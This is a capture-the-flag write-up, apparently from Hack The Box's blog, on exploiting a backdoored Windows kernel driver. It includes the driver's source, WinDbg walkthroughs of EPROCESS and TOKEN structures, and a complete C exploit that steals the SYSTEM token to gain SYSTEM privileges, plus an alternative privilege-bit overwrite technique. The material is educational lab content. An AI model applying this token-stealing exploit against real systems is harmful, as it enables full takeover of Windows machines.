Write-Ups

11 min read

Business CTF 2022: Exploiting a Windows kernel backdoor - OpenDoor

OpenDoor was an introductory Windows kernel exploitation challenge from Business CTF 2022. A backdoored driver has been installed on the system, and players must exploit it to read the flag.

clubby789 avatar

clubby789,
Nov 04
2022

Description

Via a database breach we've managed to obtain credentials for a malicious developer, and located a workstation they have previously used to develop their kernel backdoors.
Luckily, they forgot to uninstall it from their own system - can you use their own tools against them and uncover their secrets?

🎮 PLAY THE TRACK


Exploiting a Windows kernel backdoor

OpenDoor was an introductory Windows Kernel exploitation challenge from Business CTF 2022. A backdoored driver has been installed on the system, and players must exploit it to gain Administrator privileges and read the flag. In this post, I'll demonstrate the exploitation process, as well as some basic WinDbg commands to explore kernel structures.

The driver provides methods to arbritrarily read and write to kernel memory - this is similar to CVE-2020-15368, wherein an ASRock keyboard driver had bundled the driver RWEverything  - a kernel debugging tool which provides complete control over the behaviour and memory of the Windows Kernel. 


The driver

During development of the driver, this ired.team article was very informative for setting up the skeleton of the device driver.

#include <wdm.h>
#define BKD_KDPRINT(_x_) \
                DbgPrint("BKD.SYS: ");\
                DbgPrint _x_;
#define BKD_TYPE 31337
#define IOCTL_BKD_WWW \
    CTL_CODE( BKD_TYPE, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS  )
#define IOCTL_BKD_RWW \
    CTL_CODE( BKD_TYPE, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS  )
#define DRIVER_NAME       "BKD"
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\BKD");
UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\\??\\BKD");
typedef struct {
    PVOID addr;
    unsigned long long value;
} BkdPl;
DRIVER_DISPATCH HandleIOCtl;

void DriverUnload(PDRIVER_OBJECT dob) {
	IoDeleteDevice(dob->DeviceObject);
	IoDeleteSymbolicLink(&DEVICE_SYMBOLIC_NAME);
}

NTSTATUS HandleIOCtl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);
	PIO_STACK_LOCATION stackLocation = NULL;
	BkdPl payload;
	stackLocation = IoGetCurrentIrpStackLocation(Irp);
	Irp->IoStatus.Status = STATUS_SUCCESS;
	switch (stackLocation->Parameters.DeviceIoControl.IoControlCode) {
		case IOCTL_BKD_WWW:
			RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
			*(unsigned long long*)payload.addr = payload.value;
			break;
		case IOCTL_BKD_RWW:
			RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
			payload.value = *(unsigned long long*)payload.addr;
			RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, &payload, sizeof(payload));
			Irp->IoStatus.Information = sizeof(payload);
			break;
		default:
			Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
	}
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS MajorFunctions(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);
	PIO_STACK_LOCATION stackLocation = NULL;
	stackLocation = IoGetCurrentIrpStackLocation(Irp);
	switch (stackLocation->MajorFunction) {
	case IRP_MJ_CREATE:
		break;
	case IRP_MJ_CLOSE:
		break;
	default:
		break;
	}
	Irp->IoStatus.Information = 0;
	Irp->IoStatus.Status = STATUS_SUCCESS;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(DriverObject);
	UNREFERENCED_PARAMETER(RegistryPath);
	NTSTATUS status = 0;
	DriverObject->DriverUnload = DriverUnload;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HandleIOCtl;;
	DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions;
	DbgPrint("Driver loaded");
	IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DriverObject->DeviceObject);
	if (!NT_SUCCESS(status)) {
		DbgPrint("Could not create device %wZ", DEVICE_NAME);
	}
	status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
	if (!NT_SUCCESS(status)) {
		DbgPrint("Error creating symbolic link %wZ", DEVICE_SYMBOLIC_NAME);
	}
	return STATUS_SUCCESS;
}


The driver creates a device at \Device\BKD which can be opened, closed, and had IOCTLs run on it. IOCTLs are 'Input and Output Controls' - short commands which can be issued to the device. This driver defines 2: IOCTL_BKD_WWW and IOCTL_BKD_RWW.

        case IOCTL_BKD_WWW:
            RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
            *(unsigned long long*)payload.addr = payload.value;
            break;


Irp->AssociatedIrp.SystemBuffer is the buffer the user passes - in this case, a BkdPl , which is a struct containing a pointer and a 64-bit value. The driver writes the value to the address.

        case IOCTL_BKD_RWW:
            RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
            payload.value = *(unsigned long long*)payload.addr;
            RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, &payload, sizeof(payload));
            Irp->IoStatus.Information = sizeof(payload);
            break;


IOCTL_BKD_RWW is similar, but it instead reads from the address into the BkdPl, and copies the result back to the user.

Using these two IOCTL codes, we are able to write and read values from anywhere in kernel memory.

 

Exploitation process

There are many ways to escalate privileges - kernel exploits will often overwrite a function pointer to execute their own shellcode, or perform a stack overflow to disable certain protections. In this case, as we have read/write abilities, we'll aim to steal Administrator's security token.

In Windows, each process has an associated TOKEN structure. This holds the process's security context - their user, their groups, their integrity, etc. In order to escalate our privileges, we can copy the TOKEN pointer from a process running as nt authority\system into our own process. Spawning a new shell with this token will have full privileges, allowing us to browse to the Administrator desktop and get the flag.

 

Locating SYSTEM's token

We first need to find a process owned by SYSTEM. Luckily, process ID 4 is always `System`, a process with high privileges. I'll use WinDbg to demonstrate investigating this.

0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffd082cc297080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffe789d0664e00  HandleCount: 2953.
    Image: System

0: kd> dt _EPROCESS ffffd082cc297080
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffd082`cc3ba488 - 0xfffff802`1f41dfe0 ]
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   [ ... ]
   +0x4b8 Token            : _EX_FAST_REF


We can inspect the token:

0: kd> dt _EX_FAST_REF ffffd082cc297080+0x4b8
ntdll!_EX_FAST_REF
   +0x000 Object           : 0xffffe789`d06428dc Void
   +0x000 RefCnt           : 0y1100
   +0x000 Value            : 0xffffe789`d06428dc


_EX_FAST_REF stores a reference count in the lowest 4 bits of the address - we can mask these out to get the real address.

>>> hex(0xffffe789d06428dc & ~0b1111)
'0xffffe789d06428d0'
>>> 
0: kd> !token 0xffffe789d06428d0 0
_TOKEN 0xffffe789d06428d0
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
 [ ... ]

To demonstrate token stealing at a high level, we'll first manually overwrite the token from WinDbg. First, we'll locate our own process's token:

C:\Users\WDKRemoteUser>tasklist /v | findstr cmd
cmd.exe                       2172 Console                    1      4,752 K Running         DEBUGME\WDKRemoteUser                                   0:00:00 Command Prompt - findstr  cmd

We'll search for the process 0x87c (2172):

0: kd> !process 0x87c 0
Searching for Process with Cid == 87c
PROCESS ffffd082d23b3080
    SessionId: 1  Cid: 087c    Peb: fdf8fde000  ParentCid: 1114
    DirBase: 1efc93000  ObjectTable: ffffe789d9a34500  HandleCount:  69.
    Image: cmd.exe


We then simply write the TOKEN from SYSTEM to our own, using the eq command:
eq ffffd082d23b3080+0x4b8 0xffffe789d06428dc
We can then resume our debugee VM, and check if we were successful:

C:\Users\WDKRemoteUser>whoami
nt authority\system


For further reading on this topic, ired.team has some very good resources.

Writing an exploit

With arbritrary read and write, replacing the token should be easy - however, we don't know where to start. Windows employs KASLR (Kernel Address Space Layout Randomisation), which means that the location of various code and data structures in memory is randomised on boot.

Luckily, however, Windows contains a semi-undocumented API, NtQuerySystemInformation, which can be used to extract certain information from the kernel, including process pointers. We can adapt code from this blog post or this post in order to obtain a SYSTEM process pointer: 

PVOID FindBaseAddress(ULONG pid) {
    HINSTANCE hNtDLL = LoadLibraryA("ntdll.dll");
    PSYSTEM_HANDLE_INFORMATION buffer;
    ULONG bufferSize = 0xffffff;
    buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
    NTSTATUS status;
    PVOID ProcAddress = NULL;
    _NtQuerySystemInformation NtQuerySystemInformation = _NtQuerySystemInformation(GetProcAddress(hNtDLL, "NtQuerySystemInformation"));
    status = NtQuerySystemInformation(0x10, buffer, bufferSize, NULL);
    if (!NT_SUCCESS(status)) {
        printf("NTQueryInformation Failed!\n");
        exit(-1);
    }
    for (ULONG i = 0; i <= buffer->HandleCount; i++) {
        if ((buffer->Handles[i].ProcessId == pid)) {
            ProcAddress = buffer->Handles[i].Object;
            break;
        }
    }
    free(buffer);
    return ProcAddress;
}

This will enumerate the HANDLEs attached to PID 4. Luckily, the first handle attached to PID 4 is a pointer to the process itself, which we can confirm in the debugger:

# Handle 4 (4 is the index of the first handle), information level 2, PID 4
0: kd> !handle 4 2 4

PROCESS ffffd582a2496040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffbf070765da40  HandleCount: 2371.
    Image: System

Kernel handle table at ffffbf070765da40 with 2371 entries in use

0004: Object: ffffd582a2496040  GrantedAccess: 001fffff (Protected) Entry: ffffbf07076ac010
Object: ffffd582a2496040  Type: (ffffd582a24a7380) Process
    ObjectHeader: ffffd582a2496010 (new version)
        HandleCount: 4  PointerCount: 163939
    
0: kd> dt _EPROCESS ffffd582a2496040 Token
ntdll!_EPROCESS
   +0x4b8 Token : _EX_FAST_REF
0: kd> dq _EPROCESS ffffd582a2496040 Token
Couldn't resolve error at '_EPROCESS ffffd582a2496040 Token'
0: kd> dt _EX_FAST_REF ffffd582a2496040+0x4b8
ntdll!_EX_FAST_REF
   +0x000 Object           : 0xffffbf07`0760379c Void
   +0x000 RefCnt           : 0y1100
   +0x000 Value            : 0xffffbf07`0760379c
0: kd> !token 0xffffbf07`07603790
_TOKEN 0xffffbf0707603790
TS Session ID: 0
User: S-1-5-18
User Groups: 
[ ... ]

Locating our own process

Locating our own process isn't quite as easy, as it doesn't have a HANDLE to itself in a known location - it won't be obvious to find with NtQuerySystemInformation. However, one process is all we need, as the entire list of processes is joined together in a doubly-linked-list. We can examine this list with

# The !list command iterates over each element of a doubly-linked list and executes a command on it
# In this case, I print the process ID
0: kd> !list -t _EPROCESS.ActiveProcessLinks.Flink -x "dt _EPROCESS @$extret UniqueProcessId" ffffd582a2496040
ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`00000004 Void

ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`0000005c Void

ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`00000154 Void

ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`000001c4 Void

ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`00000210 Void

ntdll!_EPROCESS
   +0x440 UniqueProcessId : 0x00000000`0000021c Void

We can now start implementing our exploit.

Exploit

NTSTATUS Write(HANDLE device, unsigned long long what, PVOID where) {
    BkdPl payload = { where, what };
    return DeviceIoControl(device, IOCTL_BKD_WWW, &payload, sizeof(payload), NULL, 0, NULL, (LPOVERLAPPED)NULL);
}

unsigned long long Read(HANDLE device, PVOID where) {
    BkdPl in = { where, 0 };
    BkdPl out{ NULL, 0 };
    DWORD outsz;
    NTSTATUS status = DeviceIoControl(device, IOCTL_BKD_RWW, &in, sizeof(in), &out, sizeof(out), &outsz, (LPOVERLAPPED)NULL);
    return out.value;
}
#define PIDOFF 0x440
#define PLINKOFF 0x448
#define TOKENOFF 0x4b8
#define READ_ADDR(base, off) ((PVOID)((unsigned long long)base + off))
// Walks the process linked-list from SYSTEM to find our process
PVOID LocateCurrentProc(HANDLE device, PVOID SYSTEM) {
    DWORD pid = GetCurrentProcessId();
    DWORD curPid;
    PVOID current = SYSTEM;
    do {
        // Follow the next process link
        current = (PVOID)(Read(device, READ_ADDR(current, PLINKOFF)) - PLINKOFF);
        // Read the pid of 'current'
        if ((curPid = (DWORD)Read(device, READ_ADDR(current, PIDOFF))) == pid) {
            break;
        }
    } while (current != SYSTEM);
    if (current == SYSTEM) {
        return NULL;
    }
    return current;
}

To follow a process link, we need to read the ActiveProcessLinks.Flink field (at 0x448). That gives us the address of the next process's ActiveProcessLinks.Flink field, so we subtract 0x448 again to get the address of the _EPROCESS itself. We can then read the UniqueProcessId field - if the value is the desired PID we can return the address - otherwise, we need to keep iterating over the list.

We'll also now set up our exploit to open the driver and locate the base addresses.

int main(char argc, char** argv)
{
    HANDLE device = INVALID_HANDLE_VALUE;
    PVOID procBase;
    PVOID systemBase;
    char buffer[1024];
    DWORD bufSz = sizeof(buffer);
    GetUserNameA(buffer, &bufSz);

    printf("[*] Current user: %s\n", buffer);

    device = CreateFileW(L"\\\\.\\BKD", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);

    if (device == INVALID_HANDLE_VALUE)
    {
        printf_s("[x] Could not open device: 0x%x\n", GetLastError());
        return FALSE;
    }
    
    puts("[*] Reading address of SYSTEM process");
    systemBase = FindBaseAddress(4);
    if (!systemBase) {
        puts("[x] Couldn't get base address of SYSTEM EPROCESS");
        return 1;
    }
    printf("[+] Base of system is at %p\n", systemBase);
    procBase = LocateCurrentProc(device, systemBase);
    if (!procBase) {
        puts("[x] Couldn't find current EPROCESS");
        return 1;
    }
    printf("[+] Located our process at %#p\n", procBase);
}

We're now all ready for the final step - reading the TOKEN pointer for SYSTEM, and writing it back into our own process:

    printf("[*] Reading SYSTEM token pointer (at %#p)\n", READ_ADDR(systemBase, TOKENOFF));
    PVOID TOKEN_SYSTEM = (PVOID)Read(device, READ_ADDR(systemBase, TOKENOFF));
    printf("[+] SYSTEM token is at %#p\n", TOKEN_SYSTEM);
    printf("[*] Overwriting current process token pointer (at %#p)\n", READ_ADDR(procBase, TOKENOFF));
    Write(device, (unsigned long long)TOKEN_SYSTEM, READ_ADDR(procBase, TOKENOFF));
    CloseHandle(device);

    bufSz = sizeof(buffer);
    GetUserNameA(buffer, &bufSz);
    printf("[*] Current user: %s\n", buffer);
    if (strcmp(buffer, "SYSTEM") != 0) {
        puts("[x] Privesc failed");
        return 1;
    }
    else {
        puts("[+] Privesc succeeded");
    }
    system("powershell.exe");

With this, we're ready to pop a shell, so let's run it:

shell popped

We now have full admin privileges, and we're ready to grab the flag!

Alternate solution methods

Token manipulation

With such a powerful primitive available, there are many other ways to approach the problem. Some teams manipulated the privileges of their existing token - offset 0x40 of the TOKEN struct is nt!_SEP_TOKEN_PRIVILEGES. This structure holds a number of bits indicating the available and enabled privileges for the process with that token. By overwriting the Present and Enabled fields with 0xFFFFFFFFFFFFFFFF (all bits set to 1), the process will have all privileges enabled.

From here, we can escalate privileges in many ways - using SeDebugPrivilege to inject shellcode in arbritrary processes owned by`SYSTEM, SeTcbPrivilege to impersonate arbritrary groups, SeBackupPrivilege for the ability to read any file, etc. Some more abusable privileges can be found here.

Directly locating our process

In this writeup, I found a handle held by SYSTEM to its own process, and walked the linked list of processes until I found one with my current PID. As NtQuerySystemInformation allows us to enumerate all handles, we can locate a token handle for ourself more directly. We can use GetProcess() and GetProcessId() to get a HANDLE and PID for the current process.

We can then use OpenProcessToken to create a HANDLE to our process's token, which will create a corresponding handle object in the kernel. We can then simply enumerate every handle returned by NtQuerySystemInformation, and check:

  • Does UniqueProcessId match our own process?

  • Does HandleValue match the HANDLE value returned by OpenProcessToken?


If so, we have found the process token, and can return the Object property - which is a pointer to the actual item the handle is to (the token). 

Hack The Blog

The latest news and updates, direct from Hack The Box